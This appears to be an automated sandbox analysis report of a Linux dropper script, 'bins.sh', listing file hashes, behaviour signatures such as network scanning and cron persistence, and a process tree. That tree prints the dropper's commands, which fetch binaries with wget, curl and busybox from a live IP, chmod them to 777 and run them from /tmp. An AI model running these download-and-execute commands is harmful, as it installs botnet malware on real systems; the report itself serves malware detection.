Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    24-11-2024 03:00

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4040a51f8462f99d405cf8f1a253ce82

  • SHA1

    e991a490650d36359b0a871bce45a6bef05ae30e

  • SHA256

    8930e77c4626a0c34fdfa412f041b8a7c6a02925d8a8e0f3d7807a241682fc59

  • SHA512

    f01c8c9cfcaebd363b376d1d06cd59e74b21cbe5d3b10eae1eaef1bf4494c811e825732c34b8330edef78996798667e6124153ecf36a766a6e49467ad53b8667

  • SSDEEP

    192:mWK5amoPb5wgsuiSUYUIUoP7997uim9aKWfXDl76oEZ6oE56oExoEcoEgoEEI4vr:f9i9GvENEtEeEBElEHg3rENEtEeEBElp

Malware Config

Signatures

  • Contacts a large (2180) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:729
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:735
        • /usr/bin/wget
          wget http://87.120.125.191/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:737
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:756
        • /bin/chmod
          chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • File and Directory Permissions Modification
          PID:758
        • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          ./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:759
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:761
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:762
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:764
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:765
              • /bin/rm
                rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
                2⤵
                  PID:769
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                  2⤵
                    PID:770
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                    2⤵
                      PID:851
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /bin/chmod
                      chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                      ./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                      2⤵
                      • Executes dropped EXE
                      PID:858
                    • /bin/rm
                      rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
                      2⤵
                        PID:860
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                        2⤵
                          PID:861
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                          2⤵
                            PID:862
                          • /bin/busybox
                            /bin/busybox wget http://87.120.125.191/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                            2⤵
                            • Writes file to tmp directory
                            PID:863
                          • /bin/chmod
                            chmod 777 ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                            2⤵
                            • File and Directory Permissions Modification
                            PID:864
                          • /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                            ./ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                            2⤵
                            • Executes dropped EXE
                            PID:865
                          • /bin/rm
                            rm ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
                            2⤵
                              PID:867
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                              2⤵
                                PID:868
                              • /usr/bin/curl
                                curl -O http://87.120.125.191/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                2⤵
                                  PID:869
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.125.191/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:870
                                • /bin/chmod
                                  chmod 777 yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:875
                                • /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                  ./yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                  2⤵
                                  • Executes dropped EXE
                                  PID:876
                                • /bin/rm
                                  rm yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                                  2⤵
                                    PID:878
                                  • /usr/bin/wget
                                    wget http://87.120.125.191/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                    2⤵
                                      PID:879
                                    • /usr/bin/curl
                                      curl -O http://87.120.125.191/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                      2⤵
                                        PID:880
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.125.191/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:881
                                      • /bin/chmod
                                        chmod 777 fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:882
                                      • /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                        ./fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                        2⤵
                                        • Executes dropped EXE
                                        PID:883
                                      • /bin/rm
                                        rm fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                                        2⤵
                                          PID:885
                                        • /usr/bin/wget
                                          wget http://87.120.125.191/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                          2⤵
                                            PID:886
                                          • /usr/bin/curl
                                            curl -O http://87.120.125.191/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                            2⤵
                                              PID:887
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.125.191/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:888
                                            • /bin/chmod
                                              chmod 777 JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:889
                                            • /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                              ./JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                              2⤵
                                              • Executes dropped EXE
                                              PID:890
                                            • /bin/rm
                                              rm JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                                              2⤵
                                                PID:896
                                              • /usr/bin/wget
                                                wget http://87.120.125.191/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                2⤵
                                                  PID:897
                                                • /usr/bin/curl
                                                  curl -O http://87.120.125.191/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                  2⤵
                                                    PID:898
                                                  • /bin/busybox
                                                    /bin/busybox wget http://87.120.125.191/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:899
                                                  • /bin/chmod
                                                    chmod 777 NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:900
                                                  • /tmp/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                    ./NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:901
                                                  • /bin/rm
                                                    rm NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                                    2⤵
                                                      PID:905
                                                    • /usr/bin/wget
                                                      wget http://87.120.125.191/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                      2⤵
                                                        PID:906
                                                      • /usr/bin/curl
                                                        curl -O http://87.120.125.191/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                        2⤵
                                                          PID:907
                                                        • /bin/busybox
                                                          /bin/busybox wget http://87.120.125.191/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:909
                                                        • /bin/chmod
                                                          chmod 777 GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:914
                                                        • /tmp/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                          ./GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:915
                                                        • /bin/rm
                                                          rm GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                                          2⤵
                                                            PID:918
                                                          • /usr/bin/wget
                                                            wget http://87.120.125.191/bins/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                            2⤵
                                                              PID:919
                                                            • /usr/bin/curl
                                                              curl -O http://87.120.125.191/bins/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                              2⤵
                                                                PID:921
                                                              • /bin/busybox
                                                                /bin/busybox wget http://87.120.125.191/bins/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:924
                                                              • /bin/chmod
                                                                chmod 777 uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:926
                                                              • /tmp/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                                ./uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                                2⤵
                                                                • Executes dropped EXE
                                                                PID:928
                                                              • /bin/rm
                                                                rm uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                                                2⤵
                                                                  PID:932
                                                                • /usr/bin/wget
                                                                  wget http://87.120.125.191/bins/wEs1AAXcHZJuJg7Zy0BnXZAFaGt7TGeHaY
                                                                  2⤵
                                                                    PID:933
                                                                  • /usr/bin/curl
                                                                    curl -O http://87.120.125.191/bins/wEs1AAXcHZJuJg7Zy0BnXZAFaGt7TGeHaY
                                                                    2⤵
                                                                      PID:943

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH

                                                                    Filesize

                                                                    111KB

                                                                    MD5

                                                                    701e7a55a4f3650f5feee92a9860e5fc

                                                                    SHA1

                                                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                    SHA256

                                                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                    SHA512

                                                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                  • /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws

                                                                    Filesize

                                                                    122KB

                                                                    MD5

                                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                                    SHA1

                                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                    SHA256

                                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                    SHA512

                                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                  • /tmp/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4

                                                                    Filesize

                                                                    112KB

                                                                    MD5

                                                                    05d7857dcead18bbd86d2935f591873c

                                                                    SHA1

                                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                    SHA256

                                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                    SHA512

                                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                  • /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX

                                                                    Filesize

                                                                    119KB

                                                                    MD5

                                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                    SHA1

                                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                    SHA256

                                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                    SHA512

                                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                  • /tmp/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l

                                                                    Filesize

                                                                    107KB

                                                                    MD5

                                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                                    SHA1

                                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                                    SHA256

                                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                                    SHA512

                                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                                  • /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih

                                                                    Filesize

                                                                    98KB

                                                                    MD5

                                                                    5141342d0df8699fa32a6b066a0c592e

                                                                    SHA1

                                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                    SHA256

                                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                    SHA512

                                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                  • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

                                                                    Filesize

                                                                    151KB

                                                                    MD5

                                                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                                                    SHA1

                                                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                    SHA256

                                                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                    SHA512

                                                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                  • /tmp/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na

                                                                    Filesize

                                                                    177KB

                                                                    MD5

                                                                    786d75a158fe731feca3880f436082c0

                                                                    SHA1

                                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                    SHA256

                                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                    SHA512

                                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                  • /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1

                                                                    Filesize

                                                                    117KB

                                                                    MD5

                                                                    849fa04ef88a8e8de32cb2e8538de5fe

                                                                    SHA1

                                                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                                    SHA256

                                                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                                    SHA512

                                                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                                  • /var/spool/cron/crontabs/tmp.OaJHiW

                                                                    Filesize

                                                                    210B

                                                                    MD5

                                                                    d4c4fd225ff6e92108c3629a76c85c97

                                                                    SHA1

                                                                    d9834cc381c6124ccb1d87963f43b2f30b79a076

                                                                    SHA256

                                                                    9dfe2d42d4b6100b7583b240602efdd78edc4f5ffc41bc8b23955691956a7015

                                                                    SHA512

                                                                    3cc482c6e0846b2b77659aa72d83e422122cd72fd1ce5b23bf36203301825c471479f9cd7f6a2f4754ce368a7607285be43d5895a73a201c37e1cce692941d24